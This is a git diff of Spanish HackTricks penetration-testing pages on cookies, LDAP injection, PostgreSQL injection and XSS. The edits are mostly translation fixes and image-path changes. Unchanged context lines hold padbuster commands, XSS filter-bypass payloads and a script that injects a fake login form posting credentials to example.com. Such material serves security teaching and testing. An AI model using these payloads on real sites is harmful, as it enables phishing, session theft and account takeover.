-(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan adecuadamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
+(Revisa más detalles en la [investigación original](https://blog.ankursundara.com/cookie-bugs/)) El análisis incorrecto de cookies por parte de los servidores, notablemente Undertow, Zope y aquellos que utilizan `http.cookie.SimpleCookie` y `http.cookie.BaseCookie` de Python, crea oportunidades para ataques de inyección de cookies. Estos servidores no delimitan correctamente el inicio de nuevas cookies, permitiendo a los atacantes suplantar cookies:
 
 * Undertow espera una nueva cookie inmediatamente después de un valor entre comillas sin un punto y coma.
 * Zope busca una coma para comenzar a analizar la siguiente cookie.
@@ -215,7 +214,7 @@ Si la cookie permanece igual (o casi) cuando inicias sesión, esto probablemente
 * Intentar **fuerza bruta al nombre de usuario**. Si la cookie se guarda solo como un método de autenticación para tu nombre de usuario, entonces puedes crear una cuenta con el nombre de usuario "**Bmin**" y **fuerza bruta** cada **bit** de tu cookie porque una de las cookies que intentarás será la que pertenece a "**admin**".
 * Intentar **Padding** **Oracle** (puedes descifrar el contenido de la cookie). Usa **padbuster**.
 
-**Padding Oracle - Ejemplos de Padbuster**
+**Ejemplos de Padding Oracle - Padbuster**
 ```bash
 padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
 # When cookies and regular Base64
@@ -263,10 +262,9 @@ Debería haber un patrón (con el tamaño de un bloque utilizado). Entonces, sab
 * [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
 * [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
 
-
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/ldap-injection.md

@@ -3,8 +3,8 @@
 ## LDAP Injection
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -57,7 +57,7 @@ Por ejemplo:\
 `(&(!(objectClass=Impresoras))(uid=s*))`\
 `(&(objectClass=user)(uid=*))`
 
-Puedes acceder a la base de datos, y esto puede contener información de muchos tipos diferentes.
+Puedes acceder a la base de datos, y esta puede contener información de muchos tipos diferentes.
 
 **OpenLDAP**: Si llegan 2 filtros, solo ejecuta el primero.\
 **ADAM o Microsoft LDS**: Con 2 filtros lanzan un error.\
@@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

pentesting-web/sql-injection/postgresql-injection/README.md

@@ -1,8 +1,8 @@
 # Inyección de PostgreSQL
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,9 +15,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
+Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -97,15 +97,15 @@ SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -113,7 +113,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 
 </details>
 {% endhint %}

pentesting-web/xss-cross-site-scripting/README.md

@@ -1,6 +1,6 @@
 # XSS (Cross Site Scripting)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -16,8 +16,8 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
 1. ¿Puedes crear nuevas etiquetas HTML?
 2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`?
 3. ¿Puedes eludir protecciones?
-4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md)?
-5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Pendiente - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
+4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md).
+5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/)?
 2. Dentro de una **etiqueta HTML**:
 1. ¿Puedes salir al contexto de HTML crudo?
 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
@@ -30,7 +30,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
 4. ¿Puedes eludir protecciones?
 4. Función de Javascript **siendo ejecutada**
 1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
-4. Si **utilizado**:
+4. Si está **utilizado**:
 1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
 
 Al trabajar en un XSS complejo, podría ser interesante saber sobre:
@@ -43,7 +43,7 @@ Al trabajar en un XSS complejo, podría ser interesante saber sobre:
 
 Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
 
-* **Reflejado intermediatamente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
+* **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
 * **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
 * **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
 
@@ -53,8 +53,8 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
 
 ### HTML crudo
 
-Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
-Además, ten en cuenta [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
+Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
+Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
 
 ### Dentro del atributo de etiquetas HTML
 
@@ -89,7 +89,7 @@ En este caso, tu entrada se refleja entre **`<script> [...] </script>`** etiquet
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variables o clases después de que se utilicen, por lo que puedes abusar de escenarios donde un XSS utiliza variables o funciones no declaradas.**\
+Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variables o clases después de que se utilicen para que puedas abusar de escenarios donde un XSS está utilizando variables o funciones no declaradas.**\
 **Consulta la siguiente página para más información:**
 
 {% content-ref url="js-hoisting.md" %}
@@ -100,7 +100,7 @@ Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variabl
 
 Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se puede ver en la práctica es algo como: `?callback=callbackFunc`.
 
-Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ejecutarse es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
+Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:
 
 ![](<../../.gitbook/assets/image (711).png>)
 
@@ -165,12 +165,12 @@ En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas
 <img src=x onerror=alert(1) />
 <svg onload=alert('XSS')>
 ```
-Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar qué etiquetas** puedes crear.\
-Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
+Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás **forzar de manera exhaustiva qué etiquetas** puedes crear.\
+Una vez que hayas **localizado qué etiquetas están permitidas**, necesitarás **forzar de manera exhaustiva atributos/eventos** dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.
 
 ### Fuerza bruta de etiquetas/eventos
 
-Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
+Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **forzar de manera exhaustiva todos los eventos** usando las etiquetas válidas (en la misma página web haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes).
 
 ### Etiquetas personalizadas
 
@@ -365,7 +365,7 @@ Además, hay otro **buen truco** para estos casos: **Incluso si tu entrada dentr
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar el **payload** no **funcionará**, pero puedes **mezclarlos dentro del payload**.
+Nota que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, **no funcionará**, pero puedes **mezclarlos dentro de la carga útil**.
 
 **Usando codificación Hex y Octal con `javascript:`**
 
@@ -393,7 +393,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
 
 ### sobre el Bypass de Controladores de Eventos
 
-Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
+Primero que nada, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" controladores de eventos**.\
 En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
 ```javascript
 <svg onload%09=alert(1)> //No safari
@@ -424,15 +424,15 @@ Y en **meta tags**:
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil de XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de acceso. Aquí está el vector:
+Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil de XSS dentro de un atributo oculto**, siempre que puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente utilizando una tecla diferente en el atributo de acceso. Aquí está el vector:
 ```markup
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
 **La carga útil de XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Bypass de listas negras
+### Bypass de lista negra
 
-Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
+Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de regreso para aprender dónde puedes usar:**
 
 * **Codificación HTML (etiquetas HTML)**
 * **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@@ -442,7 +442,7 @@ Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro
 
 **Bypasses para etiquetas y atributos HTML**
 
-Lee los [Bypasses de listas negras de la sección anterior](./#blacklist-bypasses).
+Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses).
 
 **Bypasses para código JavaScript**
 
@@ -478,7 +478,7 @@ Si tu código se inserta dentro de `<script> [...] var input = 'datos reflejados
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Nota que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados se lleva a cabo solo después.
+Note que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después.
 
 ### Dentro del código JS
 
@@ -511,7 +511,7 @@ loop``````````````
 <svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">
 ```
-### Ejecución de JS codificado en Unicode
+### Ejecución de JS codificada en Unicode
 ```javascript
 \u{61}lert(1)
 \u0061lert(1)
@@ -563,7 +563,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**Saltos de línea de JavaScript (de** [**trampa de salto de línea de JavaScript**](./#javascript-new-lines) **)**
+**Saltos de línea de JavaScript (de** [**trucode de salto de línea de JavaScript**](./#javascript-new-lines) **)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10); alert('//\nalert(1)') //0x0a
@@ -835,7 +835,7 @@ Si puedes indicar el **callback** que JavaScript va a **ejecutar** limitado a es
 
 (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si intentas cargar un script con un **tipo de contenido** como `application/octet-stream`, Chrome mostrará el siguiente error:
 
-> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
+> Se negó a ejecutar el script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') porque su tipo MIME (‘application/octet-stream’) no es ejecutable, y la verificación estricta del tipo MIME está habilitada.
 
 Los únicos **Content-Type** que permitirán a Chrome ejecutar un **script cargado** son los que están dentro de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
 ```c
@@ -897,7 +897,7 @@ import { partition } from "lodash";
 ```
 Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval para abusar de que puede desencadenar XSS.
 
-* [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta característica está principalmente destinada a resolver algunos problemas causados por la pre-renderización. Funciona así:
+* [**reglasdespeculación**](https://github.com/WICG/nav-speculation)**:** Esta función es principalmente para resolver algunos problemas causados por la pre-renderización. Funciona así:
 ```html
 <script type="speculationrules">
 {
@@ -1051,7 +1051,7 @@ trigger()
 * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 * [http://www.jsfuck.com/](http://www.jsfuck.com)
-* Más sofisticado JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+* Más sofistificado JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1206,7 +1206,7 @@ Revisa la lista de puertos prohibidos en Chrome [**aquí**](https://src.chromium
 ```markup
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Captura de contraseñas de autocompletado
+### Captura de contraseñas de autocompletar
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1370,7 +1370,7 @@ AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos mó
 
 El formato [**AMP para Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
 
-Ejemplo [**escrito XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
+Ejemplo [**escrito sobre XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
 ### XSS subiendo archivos (svg)
 
@@ -1446,7 +1446,7 @@ Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheat
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).